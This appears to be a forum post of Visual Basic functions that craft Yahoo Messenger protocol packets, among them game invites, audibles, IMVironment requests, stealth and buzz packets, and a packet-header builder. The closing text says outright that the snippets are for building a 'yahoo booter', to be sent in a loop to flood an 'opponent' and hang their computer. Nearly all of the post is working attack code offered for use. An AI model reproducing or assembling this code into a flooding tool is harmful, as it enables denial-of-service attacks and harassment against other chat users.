Code: '################################################################' '# #' '# VB_Packets Yahoo Mod 2 Fully Tested! 91 Working Packets! #' '# #' '# Credits to creator #' '# #' '################################################################' Public Function AddBuddy1922(WhoFrom As String, WhoTo As String, Message As String, Group As String) As String Dim pck As String pck = "1" & WhoFrom & "7" & WhoTo & "14" & Message & "65" & Group & "971" AddBuddy1922 = DataHeader("83", pck) Debug.Print AddBuddy1922 End Function Public Function GameLiterati(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180lt18318111tyrk828hb0zaycr.xru5qg--131" GameLiterati = DataHeader("B7", pck) Debug.Print End Function Public Function GameBackgammon(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180bg18318111pcgcfcdw7wg8zhfcvoxnqq--131" GameBackgammon = DataHeader("B7", pck) Debug.Print End Function Public Function GameTokiTokiBoom(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180ttb18318111236ibnipkkbtk4ufa4dgna--131" GameTokiTokiBoom = DataHeader("B7", pck) Debug.Print End Function Public Function GameCheckers(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180ck18318111w9ky8drntpjsz3ncnwxfjw--131" GameCheckers = DataHeader("B7", pck) Debug.Print End Function Public Function GameChess(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180ch18318111fiujrx1lfgy3bluver.kvq--131" GameChess = DataHeader("B7", pck) Debug.Print End Function Public Function GamePearHunter(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180ph18318111qumvsv.jm60oeusu1wirha--131" GamePearHunter = DataHeader("B7", pck) Debug.Print End Function Public Function GameDominos(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180do18318111rjb0bqstgg09wke9ydkljq--131" GameDominos = DataHeader("B7", pck) Debug.Print End Function Public Function GameWordRacer(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180ww18318111zazxe_ppbqb6xrlout.sxw--131" GameWordRacer = DataHeader("B7", pck) Debug.Print End Function Public Function GamePool(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "180pl18318111xnmu9vq9opxgzynzaed5ya--131" GamePool = DataHeader("B7", pck) Debug.Print GamePool End Function Public Function Audible_Ladys(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.ladies1231All the ladies in the house say...232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Ladys = DataHeader("D0", pck) Debug.Print Audible_Ladys End Function Public Function Audible_Wadddup(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.whadup1231Whaaadddup?!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Wadddup = DataHeader("D0", pck) Debug.Print Audible_Wadddup End Function Public Function Audible_HurtYou(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.dontmakeme1231Don't make me hurt you231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_HurtYou = DataHeader("D0", pck) Debug.Print Audible_HurtYou End Function Public Function Audible_SeeYou(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.seeyou1231Hello? I know you're there. I can see you!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_SeeYou = DataHeader("D0", pck) Debug.Print Audible_SeeYou End Function Public Function Audible_Echo(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.echo1231Hello? Hello? Anybody there? Echo!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Echo = DataHeader("D0", pck) Debug.Print Audible_Echo End Function Public Function Audible_OhHello(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.nosepick1231Oh... uh... Hello232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_OhHello = DataHeader("D0", pck) Debug.Print Audible_OhHello End Function Public Function Audible_Dude(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.dude1231Dude!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Dude = DataHeader("D0", pck) Debug.Print Audible_Dude End Function Public Function Audible_Whistle(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.whistle1231Whistle232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Whistle = DataHeader("D0", pck) Debug.Print Audible_Whistle End Function Public Function Audible_Expectingyou(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.welcome1231Welcome. I've been expecting you.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Expectingyou = DataHeader("D0", pck) Debug.Print Audible_Expectingyou End Function Public Function Audible_Punch(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_04c231That punch hurt. You mighten shook your head like it didn't hurt, but that hurt.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Punch = DataHeader("D0", pck) Debug.Print Audible_Punch End Function Public Function Audible_KeepPunch(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_03b231You gotta keep Fuckin Punching in there. . .Punch!(Audible By vb_packets)232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_KeepPunch = DataHeader("D0", pck) Debug.Print Audible_KeepPunch End Function Public Function Audible_Heart4This(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_02b231If you don't have the heart for this, let's do something else.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Heart4This = DataHeader("D0", pck) Debug.Print Audible_Heart4This End Function Public Function Audible_hahayourfunny(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.funny1231Haha... you're funny!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_hahayourfunny = DataHeader("D0", pck) Debug.Print Audible_hahayourfunny End Function Public Function Audible_LonelyYou(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.lonely1231It must be really lonely being you.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_LonelyYou = DataHeader("D0", pck) Debug.Print Audible_LonelyYou End Function Public Function Audible_Loser(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.likeyou1231It's not that I'm losing - it's that I'm losing to someone like you!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Loser = DataHeader("D0", pck) Debug.Print Audible_Loser End Function Public Function Audible_BetterIM(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.monkey1231I've gotten better IM's from a drunken monkey232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_BetterIM = DataHeader("D0", pck) Debug.Print Audible_BetterIM End Function Public Function Audible_NotFunny(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.notfunny1231That's not funny. That's not even in the same zip code as funny.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_NotFunny = DataHeader("D0", pck) Debug.Print Audible_NotFunny End Function Public Function Audible_Typo(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.typo1231I'm sorry - was that a typo? Or are you really that stupid?232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Typo = DataHeader("D0", pck) Debug.Print Audible_Typo End Function Public Function Audible_SpellCheck(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.spellcheck1231It's called spell check. Look into it.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_SpellCheck = DataHeader("D0", pck) Debug.Print Audible_SpellCheck End Function Public Function Audible_UnPlugComputer(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.unplug1231Seriously - do us all a favor and unplug your computer now!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_UnPlugComputer = DataHeader("D0", pck) Debug.Print Audible_UnPlugComputer End Function Public Function Audible_YourBrain(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.insults.brain1231It's 10 o'clock. Do you know where your brain is?232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_YourBrain = DataHeader("D0", pck) Debug.Print Audible_YourBrain End Function Public Function Audible_YourBooty(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.booty1231Arrr! Your booty shivers me timbers232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_YourBooty = DataHeader("D0", pck) Debug.Print Audible_YourBooty End Function Public Function Audible_YourWindow(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.window1231I love what you've done with your window232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_YourWindow = DataHeader("D0", pck) Debug.Print Audible_YourWindow End Function Public Function Audible_HaySexy(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.sexy231Hey sexy232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_HaySexy = DataHeader("D0", pck) Debug.Print Audible_HaySexy End Function Public Function Audible_TypeSlow(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.realslow231I love it when you type real slow232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_TypeSlow = DataHeader("D0", pck) Debug.Print Audible_TypeSlow End Function Public Function Audible_ComeCloser(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.comecloser1231Come here you. Come on. Closer. Closer.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_ComeCloser = DataHeader("D0", pck) Debug.Print Audible_ComeCloser End Function Public Function Audible_LovesMe(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.lovesme1231She loves me not. She loves me.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_LovesMe = DataHeader("D0", pck) Debug.Print Audible_LovesMe End Function Public Function Audible_MeltHeart(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.heartmelt1231You make my heart melt232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_MeltHeart = DataHeader("D0", pck) Debug.Print Audible_MeltHeart End Function Public Function Audible_HotinHere(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.flirts.hot1231Is it just me or is it getting really hot in here?232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_HotinHere = DataHeader("D0", pck) Debug.Print Audible_HotinHere End Function Public Function Audible_GottaReboot(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.goodbyes.reboot1231Oops. Sorry... I have to reboot. Goodbye...232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_GottaReboot = DataHeader("D0", pck) Debug.Print Audible_GottaReboot End Function Public Function Audible_GottaSplit(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.goodbyes.split1231See ya. I gotta split.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_GottaSplit = DataHeader("D0", pck) Debug.Print Audible_GottaSplit End Function Public Function Audible_GottaHurt(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.gottahurt1231Oooh that's gotta hurt231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_GottaHurt = DataHeader("D0", pck) Debug.Print Audible_GottaHurt End Function Public Function Audible_Grandma(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.bestshot1231Hit me with your best shot... Grandma!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Grandma = DataHeader("D0", pck) Debug.Print Audible_Grandma End Function Public Function Audible_Slip(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.mopping1231I hope you don't slip while I'm mopping the floor with you.231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Slip = DataHeader("D0", pck) Debug.Print Audible_Slip End Function Public Function Audible_Trying(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.seriously1231Seriously, are you even trying?231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Trying = DataHeader("D0", pck) Debug.Print Audible_Trying End Function Public Function Audible_BadaBang(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.badabing1231Badabing badabang badaboom Sucker!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_BadaBang = DataHeader("D0", pck) Debug.Print Audible_BadaBang End Function Public Function Audible_GottaGoBoss(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.goodbyes.parole1231Gotta go. My parole officer needs to use the computer232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_GottaGoBoss = DataHeader("D0", pck) Debug.Print Audible_GottaGoBoss End Function Public Function Audible_HurtPunch(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.contender.tommy_04c231That punch hurt. You mighten shook your head like it didn't hurt, but that hurt.232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_HurtPunch = DataHeader("D0", pck) Debug.Print Audible_HurtPunch End Function Public Function Audible_Oldman(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.wellplayed1231Well played old man!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Oldman = DataHeader("D0", pck) Debug.Print Audible_Oldman End Function Public Function Audible_Cheater(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.cheater1231You're such a cheater!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Cheater = DataHeader("D0", pck) Debug.Print Audible_Cheater End Function Public Function Audible_NoNoNo(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.nooo1231No No No No NO!232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_NoNoNo = DataHeader("D0", pck) Debug.Print Audible_NoNoNo End Function Public Function Audible_Confidence(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.confidence1231Well I was just trying to build your confidence232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Confidence = DataHeader("D0", pck) Debug.Print Audible_Confidence End Function Public Function Audible_WhatEver(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.whatever1231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_WhatEver = DataHeader("D0", pck) Debug.Print Audible_WhatEver End Function Public Function Audible_ItsOnNow(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.onnow1231It's on now!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_ItsOnNow = DataHeader("D0", pck) Debug.Print Audible_ItsOnNow End Function Public Function Audible_TwoBest(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.losing.besttwo1231How about best two out of three?231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_TwoBest = DataHeader("D0", pck) Debug.Print Audible_TwoBest End Function Public Function Audible_Muah(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.taunt.muha1231Muhahahaha!231Whatever232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" Audible_Muah = DataHeader("D0", pck) Debug.Print Audible_Muah End Function Public Function DenyYM6Buddy(WhoFrom As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & WhoFrom & "7" & WhoTo & "14" & Message & "" DenyYM6Buddy = DataHeader("86", pck) Debug.Print End Function Public Function DoodlesIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163doodle;1640" DoodlesIMV = DataHeader("06", pck) Debug.Print End Function Public Function GalaxyIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163g2;1640" GalaxyIMV = DataHeader("06", pck) Debug.Print GalaxyIMV End Function Public Function LorealIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163loreal;1640" LorealIMV = DataHeader("06", pck) Debug.Print LorealIMV End Function Public Function HarryPotterIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163hp3dvd;1640" HarryPotterIMV = DataHeader("06", pck) Debug.Print HarryPotterIMV End Function Public Function Clone(YourCloneID As String, WhoTo As String, YourBot As String) As String Dim pck As String pck = "5" & YourCloneID & "230" & WhoTo & "0" & YourBot Clone = DataHeader("D0", pck) Debug.Print Clone End Function Public Function LunchablesIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163lunchables;1640" LunchablesIMV = DataHeader("06", pck) Debug.Print LunchablesIMV End Function Public Function JeepIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163jeep;1640" JeepIMV = DataHeader("06", pck) Debug.Print JeepIMV End Function Public Function ShoppingIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163shoppingxl;1640" ShoppingIMV = DataHeader("06", pck) Debug.Print ShoppingIMV End Function Public Function PhotosIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163photos;1640" PhotosIMV = DataHeader("06", pck) Debug.Print PhotosIMV End Function Public Function Invisible(YourID As String) As String Dim pck As String pck = "7" & YourID & "10013011BE9ED4C317047219811971fShAsRFJAAICJ-FKkIpgkkzKCQ==205-130,-40,2622131" Invisible = DataHeader("02", pck) Debug.Print Invisible End Function Public Function SendBlank_PM(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "230base.us.hello.whistle232e6e04dfe428c6bf75d5ea021ee58c583e53afb89" SendBlank_PM = DataHeader("D0", pck) Debug.Print SendBlank_PM End Function Public Function StealthOnline(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "1" & WhoFrom & "3121327" & WhoTo & "" StealthOnline = DataHeader("B9", pck) Debug.Print StealthOnline End Function Public Function StealthOffline(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "1" & WhoFrom & "3111327" & WhoTo & "" StealthOffline = DataHeader("B9", pck) Debug.Print StealthOffline End Function Public Function RemoveID(WhoFrom As String, WhoTo As String, Group As String) As String Dim pck As String pck = "1" & WhoFrom & "7" & WhoTo & "65" & Group & "" RemoveID = DataHeader("84", pck) Debug.Print RemoveID End Function Public Function YM6Buzz(WhoFrom As String, WhoTo As String, Message As TextBox) As String Dim pck As String pck = "4" & WhoFrom & "5" & WhoTo & "14" & WhoTo & "14" & WhoTo & "++14" & WhoTo & "++14" & WhoTo & "++14" & WhoTo & "++14" & WhoTo & "++14" & WhoTo & "++14" & WhoTo & "++14" & WhoTo & "++14" & Message & "971" YM6Buzz = DataHeader("06", pck) Debug.Print End Function Public Function YM6VoiceInvite(WhoFrom As String, WhoTo As String) As String Dim pck As String pck = "1" & WhoFrom & "5" & WhoTo & "57131" YM6VoiceInvite = DataHeader("4A", pck) Debug.Print End Function Public Function YM6File(WhoTo As String, WhoFrom As String, WhoFromAgain As String, File As App) As String Dim pck As String pck = "5" & WhoTo & "4" & WhoFrom & "49FILEXFER1" & WhoFromAgain & "13127" & File & "286899920" YM6File = DataHeader("4D", pck) Debug.Print YM6File End Function Public Function SendPMYM6(WhoFrom As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & WhoFrom & "5" & WhoTo & "14" & Message & "97163642100212660" SendPMYM6 = DataHeader("06", pck) Debug.Print End Function Public Function YM6Conference(WhoFrom As String, WhoFromAgain As String, Message As String, WhoTo As String) As String Dim pck As String pck = "1" & WhoFrom & "50" & WhoFromAgain & "57" & Message & "-pDTUCRU__ATnNR9T2Y.q7g--58Join My Conference...97152" & WhoTo & "13256" YM6Conference = DataHeader("18", pck) Debug.Print YM6Conference End Function Public Function YM6StatusChange(YahooID As String, Message As String) As String Dim pck As String pck = "7" & YahooID & "109919" & Message & "47111659A3D9417013811311870" YM6StatusChange = DataHeader("C6", pck) Debug.Print YM6StatusChange End Function Public Function YM6CamInvite(WhoTo As String, WhoFrom As String) As String Dim pck As String pck = "5" & WhoTo & "4" & WhoFrom & "14 13049WEBCAMINVITE" YM6CamInvite = DataHeader("4B", pck) Debug.Print YM6CamInvite End Function Public Function Iggy(YourID As String, IggyWho As String) As String Dim pck As String pck = "1" & YourID & "7" & IggyWho & "131" Iggy = DataHeader("85", pck) End Function Public Function InCrediblesIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163incredibles;1640" InCrediblesIMV = DataHeader("06", pck) Debug.Print End Function Public Function FishTankIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163fishtank;1640" FishTankIMV = DataHeader("06", pck) Debug.Print End Function Public Function SnowIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163snowflake;1640" SnowIMV = DataHeader("06", pck) Debug.Print End Function Public Function DilbertIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163dilbert;1640" DilbertIMV = DataHeader("06", pck) Debug.Print End Function Public Function HeartsIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163hearts;1640" HeartsIMV = DataHeader("06", pck) Debug.Print End Function Public Function ResidentEvilIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163re2;1640" ResidentEvilIMV = DataHeader("06", pck) Debug.Print End Function Public Function LeavesIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163leaves;1640" LeavesIMV = DataHeader("06", pck) Debug.Print LeavesIMV End Function Public Function AmazingIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163mazing;1640" AmazingIMV = DataHeader("06", pck) Debug.Print End Function Public Function DoritosIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163doritosdd;1640" DoritosIMV = DataHeader("06", pck) Debug.Print DoritosIMV End Function Public Function gmc2IMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163gmc2;1640" gmc2IMV = DataHeader("06", pck) Debug.Print End Function Public Function Campbells2IMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163campbells2;1640" Campbells2IMV = DataHeader("06", pck) Debug.Print End Function Public Function PeanutsIMV(YourBot As String, WhoTo As String, Message As String) As String Dim pck As String pck = "1" & YourBot & "5" & WhoTo & "14" & Message & "97163Peanuts;1640" PeanutsIMV = DataHeader("06", pck) Debug.Print End Function Public Function DataHeader(ByVal PacketType As String, ByVal Packet As String) As String Dim I As Integer Dim X As Integer X = 0 I = Len(Packet) Do While I > 255 I = I - 256 X = X + 1 Loop DataHeader = "YMSG" & Chr(0) & Chr(11) & String(2, 0) & Chr(X) & Chr(I) & Chr(0) & Chr("&H" & PacketType) & String(8, 0) & Packet Debug.Print DataHeader End Function
i am sorry for that....These are the VB function snippets which you can use to do the respective functions..... These functions are useful for coding your own yahoo booter. You can insert this snippets in your program and run a loop for sending these packets to the opponent and rest his pc for sometime lolzzz. Comments as always welcomed !
Purpose of the function is in their names...... For e.g. PeanutIMV will send a request to your chat-friend for enabling Peanut IMVironment. Controls required are -> 2-3 Textboxes for retrieving the usernames of bot and opponent.... and options for doing different kinds of bombing...... If you are acquainted with using Yahoo Booters.....Then you would be able to make it out easily....